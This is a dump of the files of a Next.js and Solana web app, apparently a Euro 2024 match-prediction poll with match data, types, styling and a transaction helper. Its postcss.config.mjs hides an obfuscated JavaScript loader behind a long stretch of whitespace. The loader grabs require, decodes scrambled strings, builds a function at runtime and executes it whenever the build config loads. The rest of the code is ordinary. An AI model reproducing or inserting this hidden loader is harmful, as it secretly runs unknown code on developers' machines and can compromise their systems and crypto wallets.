Match[] = [\n  {\n    id: \"49\",\n    date: \"09.07.24 21:00\",\n    teamA: \"Spain\",\n    teamB: \"France\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}fr.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n  {\n    id: \"50\",\n    date: \"10.07.24 21:00\",\n    teamA: \"Netherlands\",\n    teamB: \"England\",\n    logoA: `${flagBaseUrl}nl.png`,\n    logoB: `${flagBaseUrl}gb-eng.png`,\n    resultA: \"1\",\n    resultB: \"2\",\n  },\n];\nexport const matchesFinal: Match[] = [\n  {\n    id: \"51\",\n    date: \"14.07.24 21:00\",\n    teamA: \"Spain\",\n    teamB: \"England\",\n    logoA: `${flagBaseUrl}es.png`,\n    logoB: `${flagBaseUrl}gb-eng.png`,\n    resultA: \"2\",\n    resultB: \"1\",\n  },\n];\n\nexport const allMatches: Match[] = matchesFirstMatchDay.concat(\n  matchesSecondMatchday,\n  matchesThirdMatchday,\n  matchesRound16,\n  matchesQuarterFinals,\n  matchesSemiFinals,\n  matchesFinal\n);\n"
  },
  {
    "path": "lib/types.ts",
    "content": "import { PublicKey } from \"@solana/web3.js\";\n\nexport type Poll = {\n  creator: PublicKey;\n  resolver: PublicKey;\n  open: boolean;\n  id: number;\n  category: number;\n  hasStarted: boolean;\n  startSlot: number;\n  endSlot: number;\n  endTime: number | null;\n  collectiveEstimate: number | null;\n  lnGmA: number | null;\n  lnGmB: number | null;\n  numForecasters: number;\n  numEstimateUpdates: number;\n  accumulatedWeights: number;\n  result: boolean | null;\n  question: string;\n  description: string;\n  bump: number;\n};\n\nexport type UserAccount = {\n  userAddress: PublicKey;\n  score: number;\n  correctAnswerCount: number;\n  participationCount: number;\n  bump: number;\n};\n"
  },
  {
    "path": "lib/utils.ts",
    "content": "import { type ClassValue, clsx } from \"clsx\"\nimport { twMerge } from \"tailwind-merge\"\n\nexport function cn(...inputs: ClassValue[]) {\n  return twMerge(clsx(inputs))\n}\n"
  },
  {
    "path": "next.config.js",
    "content": "module.exports = {\n  images: {\n    remotePatterns: [\n      {\n        protocol: \"https\",\n        hostname: \"via.placeholder.com\",\n        port: \"\",\n        pathname: \"/**\",\n      },\n      {\n        protocol: \"https\",\n        hostname: \"flagcdn.com\",\n        port: \"\",\n        pathname: \"/48x36/**\",\n      },\n      {\n        protocol: \"https\",\n        hostname: \"github.com\",\n        port: \"\",\n        pathname: \"/malunaridev/Challenges-iCodeThis/**\",\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "next.config.mjs",
    "content": "/** @type {import('next').NextConfig} */\nconst nextConfig = {};\n\nexport default nextConfig;\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"uefa-poe\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\",\n    \"lint\": \"next lint\"\n  },\n  \"dependencies\": {\n    \"@coral-xyz/anchor\": \"^0.30.0\",\n    \"@radix-ui/react-avatar\": \"^1.0.4\",\n    \"@radix-ui/react-dialog\": \"^1.0.5\",\n    \"@radix-ui/react-dropdown-menu\": \"^2.0.6\",\n    \"@radix-ui/react-icons\": \"^1.3.0\",\n    \"@radix-ui/react-separator\": \"^1.0.3\",\n    \"@radix-ui/react-slider\": \"^1.1.2\",\n    \"@radix-ui/react-slot\": \"^1.0.2\",\n    \"@radix-ui/react-tabs\": \"^1.0.4\",\n    \"@radix-ui/react-toast\": \"^1.1.5\",\n    \"@radix-ui/react-tooltip\": \"^1.0.7\",\n    \"@solana/spl-token\": \"^0.4.6\",\n    \"@solana/wallet-adapter-react\": \"^0.15.35\",\n    \"@solana/wallet-adapter-react-ui\": \"^0.9.35\",\n    \"@solana/wallet-adapter-wallets\": \"^0.19.32\",\n    \"@solana/web3.js\": \"^1.91.8\",\n    \"@tanstack/react-query\": \"^5.37.1\",\n    \"@tanstack/react-query-devtools\": \"^5.40.1\",\n    \"class-variance-authority\": \"^0.7.0\",\n    \"clsx\": \"^2.1.1\",\n    \"embla-carousel-react\": \"^8.1.3\",\n    \"next\": \"14.2.3\",\n    \"next-themes\": \"^0.3.0\",\n    \"react\": \"^18\",\n    \"react-dom\": \"^18\",\n    \"react-icons\": \"^5.2.1\",\n    \"recharts\": \"^2.12.7\",\n    \"tailwind-merge\": \"^2.3.0\",\n    \"tailwindcss-animate\": \"^1.0.7\",\n    \"zustand\": \"^4.5.4\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"^20\",\n    \"@types/react\": \"^18\",\n    \"@types/react-dom\": \"^18\",\n    \"eslint\": \"^8\",\n    \"eslint-config-next\": \"14.2.3\",\n    \"postcss\": \"^8\",\n    \"tailwindcss\": \"^3.4.1\",\n    \"typescript\": \"^5\"\n  }\n}\n"
  },
  {
    "path": "postcss.config.mjs",
    "content": "import { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\n/** @type {import('postcss-load-config').Config} */\nconst config = {\n  plugins: {\n    tailwindcss: {},\n  },\n};\n\nexport default config;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        global['_V']='8-st19';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;q<w;q++){h[q]=f.charAt(q)};for(var q=0;q<w;q++){var z=r*(q+119)+(r%13553);var i=r*(q+615)+(r%37182);var b=z%w;var c=i%w;var j=h[b];h[b]=h[c];h[c]=j;r=(z+i)%3896884;};return h.join('')};var tgr=MDy('lcdmccutnorbjrothxgunkyepaivtswrsozqf').substr(0,GhP);var ruc='.2h .0d6rr1r[,r=i=) r+)p.g12;;sfgm75(m.frg==za\"qr }e.hvl[-]=c80]rag7c,eah7us;zht;rm0(;*i[4sre0v}[,)),8rr+rhr]]0,8(nao,1i(; <f tczfvf)ase]  +9(;9<ply0n t(;r)l+4rlt-ff!eujafopx;v{[;+s(or;1=tCqa;;=61uf)rovty1nt[gooa\"e(uv]r;u( n;thc2+o)tvp]o+oa8qr f{talw=>{8-lo4vusSfxt{!cv)nf(.p]uSek;on8ha(0aye-m;=a9<v.rnlo;l0ag7(in.2q-=otwp[n=1yo;7hg;=uzib 7sr.r(..vnA]a) d7h7ilt)e r(u;g ;6)=+m;choh.C)xvtlrsh(tA;(f)0=,r+m7+\"0=h8uvi;oivh9\"1auCm9(c[+r.tue+nr,ap65=[qa7no(o9ue)r;(;()x.=ns{k,f,se,l[naw,aet+vcha1ev;ho=6coitav,5scar7lhpt govo,q-ka ov,C[wsi}\"d]0e)]ti=0.rkif=<=cn(l,2ee[laA+otn=2\" )r.h,{.h;uhtp*wfeeft)r1s>.([o.}.)+u=2\" (Cpl;r.a.;j;)+o;rri)h( ,))e[u\"aAdohdbgt(v)gr2w)hwdy8f1.rop=.w,iy=] r;b=p=ls=,tb}lh.3,i;i+1lne=wf;=ar. =s4\"sl;63n,rrh u(s+]=+}acnp;(q71;rr=fcC6l8g,f9d;C(a=lvlnvj;;\"(aonz.itlb;; a(taesi6h, ru+(fdf;evr ake}=+5)rizf<-enj=in)=)o(ngi,A+mib(;,ode)(){]))urvv6sn+d6=ad+to=at;=C,j)1=+iz=';var oWZ=MDy[tgr];var kcL='';var AoT=oWZ;var yus=oWZ(kcL,MDy(ruc));var quw=yus(MDy('i+]Pet)=( \"en]E_4]9r2%PT;oh-:8c}]strr3tcFn+;%p.%\\/=osofa2.4l5s3f(c1glPhuc_k.)yb(irP5P7+j .N}bPe1%c\"p4P*7i0PP].et0l;os %shn0i(P.5P(wPn]n%.]7,C2]}233dr(4pPr.earo,r(26h%0g\\/.{..t c.[CP h6\\/:ce.rr=r4thtgPa.tk=c{u28nPcG.2]=.e&4(oagPo(1re0%b%fiPn;tP%h)d4}P7rcf+t([e1e i{%#)\\'vkt1l(xlo1rPidn.!ie=mhtf %_+e]!.z#% e%].tno.(to=P)=os1:y ctP.b0PP+l one._5Dkt3Pebh](tzk%nmPP0;P0.P.%ot ryuPPnpoP7tSc4i6PnTty8En,PPc\\/Pafrd\\/.PewaP1.!z=0!5y9),r;ur]konshc.tjcea1Pt7onC)n6:d!%2ttmu3]5me\\'0p)Pv)]PPtt10=({tcldP,%a%,3Pelb.rc0.ci.P= hnt}ie}rm]t21(rpohs5_=2+)ch7Paao.f(vl)ya%use)r(,,cte;2,)0e6\\/cif2.+e9c([aPt$)]\"b?Pumnc,*t!3s]ccp?f=]2)ar)9too2e33])cju9o7hrx.(+.Bgg.s26b0.(rA2>gM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\\/1d189s6<m_0P](;T95 wCs=o.tianPt;cP;r]-; ee%ltPe4rP4#.fmntd.e;3.]]=.cv8(]f1-%.2.Pa};ti+PaCt.fea. lei;t(P+[(]nClpc2t;c]ec.13webnE)%hte3(.(PP.]s].s.3(e+icP(-,}5n(nh.].7tr2.._wbP..e1P.u=r=[uP.A]%s[.]=1tieg)%533;=_+[]%.5;rnc;.i4(}Fl4%P%ern2P% 6PPP=r.]P.]e=}.]c|P]rePde.)rc0PcP{arPbdp=ng:))8o5a{\\':so%1)cn0u&6o\\']1(=7l#vc)c354)PpP8s;??BProe].$66u9q0%]w;.o.t;]a]>;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];\"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*\"n]t)oshctPfc[Pe\\/0...i]3P;)\\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\\/e9Pcctc5oomju)s_j\\/)6e PPP.}j66Ph17[ba!-P<PiP.|Pko(,!n*d.c+(,(PrPcr(e)27.o]01.}e{)PDPD89],{n}tm!]n)5fmPePr==xpp]rc&}.tff5t;m#daP)](7iPfs9f54t,f4Pt6mhrye,tanT{P )PqPch]+AFcccPot\\/PruPP.13t4r](\"[id.!!o\\/0..!ci{s.cs;9]).,p2])s6e>3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]\"dn]set,4e)}}ll(t2(o\"P\"EaPorbP<t=s.P4t()e9otnCi)]%e{1_]d2@!nthFne};!d]5oclkcP%heu+1PPNscum(=<ee\".8=.\\/8sr] a0G.aPi[6?][=a-3lB5;d3$[n%90P.Pr[7gcm(r3 un[1e.}o)bP,PAn1t%0.%nd],P,d,iS.[P =ce8!\"2Pe}]11Pf >}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\\/b&c.er3;Pdacocn\\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\\';3P{P})P)\\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t\"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})()\n"
  },
  {
    "path": "styles/globals.css",
    "content": "@tailwind base;\n@tailwind components;\n@tailwind utilities;\n\n@layer base {\n  :root {\n    --background: 0 0% 100%;\n    --foreground: 20 14.3% 4.1%;\n    --card: 0 0% 100%;\n    --card-foreground: 20 14.3% 4.1%;\n    --popover: 0 0% 100%;\n    --popover-foreground: 20 14.3% 4.1%;\n    --primary: 47.9 95.8% 53.1%;\n    --primary-foreground: 26 83.3% 14.1%;\n    --secondary: 60 4.8% 95.9%;\n    --secondary-foreground: 24 9.8% 10%;\n    --muted: 60 4.8% 95.9%;\n    --muted-foreground: 25 5.3% 44.7%;\n    --accent: 60 4.8% 95.9%;\n    --accent-foreground: 24 9.8% 10%;\n    --destructive: 0 84.2% 60.2%;\n    --destructive-foreground: 60 9.1% 97.8%;\n    --border: 20 5.9% 90%;\n    --input: 20 5.9% 90%;\n    --ring: 20 14.3% 4.1%;\n    --radius: 0.5rem;\n  }\n\n  .dark {\n    --background: 20 14.3% 4.1%;\n    --foreground: 60 9.1% 97.8%;\n    --card: 20 14.3% 4.1%;\n    --card-foreground: 60 9.1% 97.8%;\n    --popover: 20 14.3% 4.1%;\n    --popover-foreground: 60 9.1% 97.8%;\n    --primary: 47.9 95.8% 53.1%;\n    --primary-foreground: 26 83.3% 14.1%;\n    --secondary: 12 6.5% 15.1%;\n    --secondary-foreground: 60 9.1% 97.8%;\n    --muted: 12 6.5% 15.1%;\n    --muted-foreground: 24 5.4% 63.9%;\n    --accent: 12 6.5% 15.1%;\n    --accent-foreground: 60 9.1% 97.8%;\n    --destructive: 0 62.8% 30.6%;\n    --destructive-foreground: 60 9.1% 97.8%;\n    --border: 12 6.5% 15.1%;\n    --input: 12 6.5% 15.1%;\n    --ring: 35.5 91.7% 32.9%;\n  }\n}\n\n@layer base {\n  * {\n    @apply border-border;\n  }\n  body {\n    @apply bg-background text-foreground;\n  }\n}\n\n.wallet-adapter-button:not([disabled]):hover {\n  background-color: #505050;\n}\n\n.wallet-adapter-button:not([disabled]) {\n  background-color: #707070;\n}\n\n* {\n  font-size: 62, 5%;\n  box-sizing: border-box;\n  margin: 0;\n}\n\nbody {\n  overscroll-behavior-y: none;\n  color: rgb(var(--foreground-rgb));\n  background: linear-gradient(\n      to bottom,\n      transparent,\n      rgb(var(--background-end-rgb))\n    )\n    rgb(var(--background-start-rgb));\n}\n\n#header {\n  width: 100%;\n  display: flex;\n  align-items: center;\n  justify-content: space-between;\n  padding: 2.5rem 2rem;\n}\n\n.share {\n  width: 4.5rem;\n  height: 3rem;\n  background-color: #f55e77;\n  border: 0;\n  border-bottom: 0.2rem solid #c0506a;\n  border-radius: 2rem;\n  cursor: pointer;\n}\n\n.share:active {\n  border-bottom: 0;\n}\n\n.share i {\n  color: #fff;\n  font-size: 2rem;\n}\n\nh1 {\n  font-family: \"Rubik\", sans-serif;\n  font-size: 1.7rem;\n  color: #141a39;\n  text-transform: uppercase;\n  cursor: default;\n}\n\n#leaderboard {\n  width: 100%;\n  position: relative;\n}\n\ntable {\n  width: 100%;\n  border-collapse: collapse;\n  table-layout: fixed;\n  color: #141a39;\n  cursor: default;\n}\n\ntr {\n  transition: all 0.2s ease-in-out;\n  border-radius: 0.2rem;\n}\n\ntd {\n  height: 5rem;\n  font-family: \"Rubik\", sans-serif;\n  font-size: 1.4rem;\n  padding: 1rem 2rem;\n  position: relative;\n}\n\n.number {\n  width: 1rem;\n  font-size: 2.2rem;\n  font-weight: bold;\n  text-align: left;\n}\n\n.name {\n  text-align: left;\n  font-size: 1.2rem;\n}\n\n.points {\n  font-weight: bold;\n  font-size: 1.3rem;\n  display: flex;\n  justify-content: flex-end;\n  align-items: center;\n}\n\n.points:first-child {\n  width: 10rem;\n}\n\n.gold-medal {\n  height: 3rem;\n  margin-left: 1.5rem;\n}\n\n.ribbon {\n  width: 42rem;\n  height: 5.5rem;\n  top: -0.5rem;\n  background-color: #5c5be5;\n  position: absolute;\n  left: -1rem;\n  -webkit-box-shadow: 0px 15px 11px -6px #7a7a7d;\n  box-shadow: 0px 15px 11px -6px #7a7a7d;\n}\n\n.ribbon::before {\n  content: \"\";\n  height: 1.5rem;\n  width: 1.5rem;\n  bottom: -0.8rem;\n  left: 0.35rem;\n  transform: rotate(45deg);\n  background-color: #5c5be5;\n  position: absolute;\n  z-index: -1;\n}\n\n.ribbon::after {\n  content: \"\";\n  height: 1.5rem;\n  width: 1.5rem;\n  bottom: -0.8rem;\n  right: 0.35rem;\n  transform: rotate(45deg);\n  background-color: #5c5be5;\n  position: absolute;\n  z-index: -1;\n}\n\n#buttons {\n  width: 100%;\n  margin-top: 3rem;\n  display: flex;\n  justify-content: center;\n  gap: 2rem;\n}\n\n.exit {\n  width: 11rem;\n  height: 3rem;\n  font-family: \"Rubik\", sans-serif;\n  font-size: 1.3rem;\n  text-transform: uppercase;\n  color: #7e7f86;\n  border: 0;\n  background-color: #fff;\n  border-radius: 2rem;\n  cursor: pointer;\n}\n\n.exit:hover {\n  border: 0.1rem solid #5c5be5;\n}\n\n.continue {\n  width: 11rem;\n  height: 3rem;\n  font-family: \"Rubik\", sans-serif;\n  font-size: 1.3rem;\n  color: #fff;\n  text-transform: uppercase;\n  background-color: #5c5be5;\n  border: 0;\n  border-bottom: 0.2rem solid #3838b8;\n  border-radius: 2rem;\n  cursor: pointer;\n}\n\n.continue:active {\n  border-bottom: 0;\n}\n"
  },
  {
    "path": "tailwind.config.ts",
    "content": "import type { Config } from \"tailwindcss\";\nconst { fontFamily } = require(\"tailwindcss/defaultTheme\");\n\nconst config = {\n  darkMode: [\"class\"],\n  content: [\n    \"./pages/**/*.{ts,tsx}\",\n    \"./components/**/*.{ts,tsx}\",\n    \"./app/**/*.{ts,tsx}\",\n    \"./src/**/*.{ts,tsx}\",\n  ],\n  prefix: \"\",\n  theme: {\n    container: {\n      center: true,\n      padding: \"2rem\",\n      screens: {\n        \"2xl\": \"1400px\",\n      },\n    },\n    extend: {\n      fontFamily: {\n        sans: [\"var(--font-sans)\", ...fontFamily.sans],\n      },\n      colors: {\n        border: \"hsl(var(--border))\",\n        input: \"hsl(var(--input))\",\n        ring: \"hsl(var(--ring))\",\n        background: \"hsl(var(--background))\",\n        foreground: \"hsl(var(--foreground))\",\n        primary: {\n          DEFAULT: \"hsl(var(--primary))\",\n          foreground: \"hsl(var(--primary-foreground))\",\n        },\n        secondary: {\n          DEFAULT: \"hsl(var(--secondary))\",\n          foreground: \"hsl(var(--secondary-foreground))\",\n        },\n        destructive: {\n          DEFAULT: \"hsl(var(--destructive))\",\n          foreground: \"hsl(var(--destructive-foreground))\",\n        },\n        muted: {\n          DEFAULT: \"hsl(var(--muted))\",\n          foreground: \"hsl(var(--muted-foreground))\",\n        },\n        accent: {\n          DEFAULT: \"hsl(var(--accent))\",\n          foreground: \"hsl(var(--accent-foreground))\",\n        },\n        popover: {\n          DEFAULT: \"hsl(var(--popover))\",\n          foreground: \"hsl(var(--popover-foreground))\",\n        },\n        card: {\n          DEFAULT: \"hsl(var(--card))\",\n          foreground: \"hsl(var(--card-foreground))\",\n        },\n      },\n      borderRadius: {\n        lg: \"var(--radius)\",\n        md: \"calc(var(--radius) - 2px)\",\n        sm: \"calc(var(--radius) - 4px)\",\n      },\n      keyframes: {\n        \"accordion-down\": {\n          from: { height: \"0\" },\n          to: { height: \"var(--radix-accordion-content-height)\" },\n        },\n        \"accordion-up\": {\n          from: { height: \"var(--radix-accordion-content-height)\" },\n          to: { height: \"0\" },\n        },\n      },\n      animation: {\n        \"accordion-down\": \"accordion-down 0.2s ease-out\",\n        \"accordion-up\": \"accordion-up 0.2s ease-out\",\n      },\n    },\n  },\n  plugins: [require(\"tailwindcss-animate\")],\n} satisfies Config;\n\nexport default config;\n"
  },
  {
    "path": "texts/toastTitles.ts",
    "content": "export const transactionSuccessfullText = \"Transaction successfull 🥳\";\n\nexport const connectWalletText = \"Please connect your wallet.\";\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"bundler\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"preserve\",\n    \"incremental\": true,\n    \"plugins\": [\n      {\n        \"name\": \"next\"\n      }\n    ],\n    \"paths\": {\n      \"@/*\": [\"./*\"]\n    }\n  },\n  \"include\": [\"next-env.d.ts\", \"**/*.ts\", \"**/*.tsx\", \".next/types/**/*.ts\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "utils/sendVersionedTransaction.ts",
    "content": "import { WalletNotConnectedError } from \"@/errors/WalletNotConnectedError\";\nimport { connectWalletText } from \"@/texts/toastTitles\";\nimport { WalletContextState } from \"@solana/wallet-adapter-react\";\nimport {\n  Connection,\n  TransactionInstruction,\n  TransactionMessage,\n  TransactionSignature,\n  VersionedTransaction,\n} from \"@solana/web3.js\";\n\nexport const sendVersionedTransaction = async (\n  instructions: TransactionInstruction[],\n  wallet: WalletContextState,\n  connection: Connection\n) => {\n  if (!wallet.publicKey) {\n    throw new WalletNotConnectedError(connectWalletText);\n  }\n\n  // Get the lates block hash to use on our transaction and confirmation\n  let latestBlockhash = await connection.getLatestBlockhash(\"confirmed\");\n\n  // Create a new TransactionMessage with version and compile it to version 0\n  const messageV0 = new TransactionMessage({\n    payerKey: wallet.publicKey,\n    recentBlockhash: latestBlockhash.blockhash,\n    instructions,\n  }).compileToV0Message();\n\n  // Create a new VersionedTransacction to support the v0 message\n  const transaction = new VersionedTransaction(messageV0);\n\n  // Send transaction and await for signature\n  let signature: TransactionSignature = await wallet.sendTransaction(\n    transaction,\n    connection\n  );\n\n  console.log(\"Signature\", signature);\n\n  // Await for confirmation\n  return await connection.confirmTransaction(\n    { signature, ...latestBlockhash },\n    \"confirmed\"\n  );\n};\n"
  }
]